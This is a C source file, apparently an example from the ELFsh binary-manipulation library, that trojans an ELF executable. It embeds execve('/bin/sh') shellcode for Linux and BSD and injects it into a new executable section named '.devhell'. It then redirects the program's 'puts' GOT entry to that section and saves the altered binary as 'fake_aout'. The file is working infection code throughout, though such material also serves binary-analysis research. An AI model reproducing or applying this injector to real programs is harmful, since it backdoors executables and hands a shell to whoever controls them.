/*
** sht_extend.c
** 
** Started on  Sun Mar 17 05:57:23 2002 mayhem
** Last update Mon Mar 25 10:28:36 2002 mayhem
*/
#include "libelfsh.h"

#define         TROJANED_FILE   "./a.out"
#define         OUTPUT_FILE     "./fake_aout"



/* the first execve + exit shellcode I found in my tree, not a very short one ;) */

#if defined(__linux__)

char sc[] = 
"\xeb\x1f\x5e\x31\xc0\x88\x46\x07"
"\x89\x76\x08\x89\x46\x0c\x89\xf3"
"\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff\x2f\x62"
"\x69\x6e\x2f\x73\x68";

#elif defined(__NetBSD__) || defined(__OpenBSD__) || defined(__FreeBSD__)

char    sc[] = 
"\xeb\x22"                      /* jmp end                      */
"\x5e"                          /* beg: pop %esi                */
"\x31\xc0"                      /* xorl %eax, %eax              */
"\x88\x46\x07"                  /* movb %al ,  0x7(%esi)        */
"\x89\x76\x08"                  /* movl %esi,  0x8(%esi)        */
"\x89\x46\x0c"                  /* movl %eax,  0xc(%esi)        */
"\x8d\x56\x0c"                  /* leal 0xc(%esi), %edx         */
"\x8d\x4e\x08"                  /* leal 0x8(%esi), %ecx         */
"\x52"                          /* push %edx                    */
"\x51"                          /* push %ecx                    */
"\x56"                          /* push %esi                    */
"\x50"                          /* push %eax                    */
"\xb0\x3b"                      /* movb $0x3b, %al              */
"\xcd\x80"                      /* int  $0x80                   */
"\x31\xdb"                      /* xorl %ebx, %ebx              */
"\x89\xd8"                      /* movl %ebx, %eax              */
"\xfe\xc0"                      /* inc  %al                     */
"\xcd\x80"                      /* int  $0x80                   */
"\xe8\xd9\xff\xff\xff"          /* end: call beg                */
"\x2f\x62\x69\x6e\x2f\x73\x68";  /* "/bin/sh"                    */

#endif




/* test for non-mapped data */
char	*str = "stop looking at me ! \n";



/* Here we map the shellcode in a newly inserted mapped section (.devhell) and modify the entry point */
int		main(int argc, char **argv)
{
  Elfsh32_Obj	*file;
  Elf32_Shdr	hdr;
  Elf32_Shdr	unmapped_hdr;
  Elfsh32_Sect	*new;
  Elfsh32_Sect	*unmapped_new;
  int		ret;

  file = elfsh_map_obj(TROJANED_FILE);
  if (!file)
    {
      elfsh_error();
      exit(-1);
    }


  /***********************************************************/
  /********************** SECTION INSERTION ******************/
  /***********************************************************/

  printf(" => Injection section and adding section header table entry ... \n");

  new = elfsh_create_section(".devhell");
  if (!new)
    {
      elfsh_error();
      exit(-1);
    }


  /* Create a section header for the mapped section */
  hdr = elfsh_create_section_header(0, SHT_PROGBITS, SHF_EXECINSTR | SHF_ALLOC, 0, 0, sizeof(sc), 0, 0, 0, 0);

  /* Insert the section */
  if (elfsh_insert_mapped_section(file, new, hdr, sc) < 0)
    {
      elfsh_error();
      exit(-1);
    }


  /* Create a new unmapped section */
  unmapped_new = elfsh_create_section(".dhstrtab");
  if (!unmapped_new)
    {
      elfsh_error();
      exit(-1);
    }

  /* Create a new section header */
  unmapped_hdr = elfsh_create_section_header(0, SHT_PROGBITS, 0, 0, 0, sizeof(sc), 0, 0, 0, 0);
  if (elfsh_insert_unmapped_section(file, unmapped_new, unmapped_hdr, sc) < 0)
    {
      elfsh_error();
      exit(-1);
    }


  /* Retreive it again since the file offset and the vaddr may have been updated during insertion */
  new = elfsh_get_section_by_name(file, ".devhell", NULL, NULL, NULL);
  if (!new)
    {
      elfsh_error();
      exit(-1);
    }


  /* choose if u want to hijack "puts" using .got (default) or using the entry point */
  //file->hdr->e_entry = new->shdr->sh_addr;
  if (elfsh_set_got_entry_by_name(file, "puts", new->shdr->sh_addr) < 0)
    {
      elfsh_error();
      exit(-1);
    }


  /***********************************************************/
  /************************ RELINKING ************************/
  /***********************************************************/


  ret = elfsh_save_obj(file, OUTPUT_FILE);
  if (ret < 0)
    elfsh_error();

  printf("Relinking *%s* \n", ret ? "Error" : "OK");
  return (0);

}







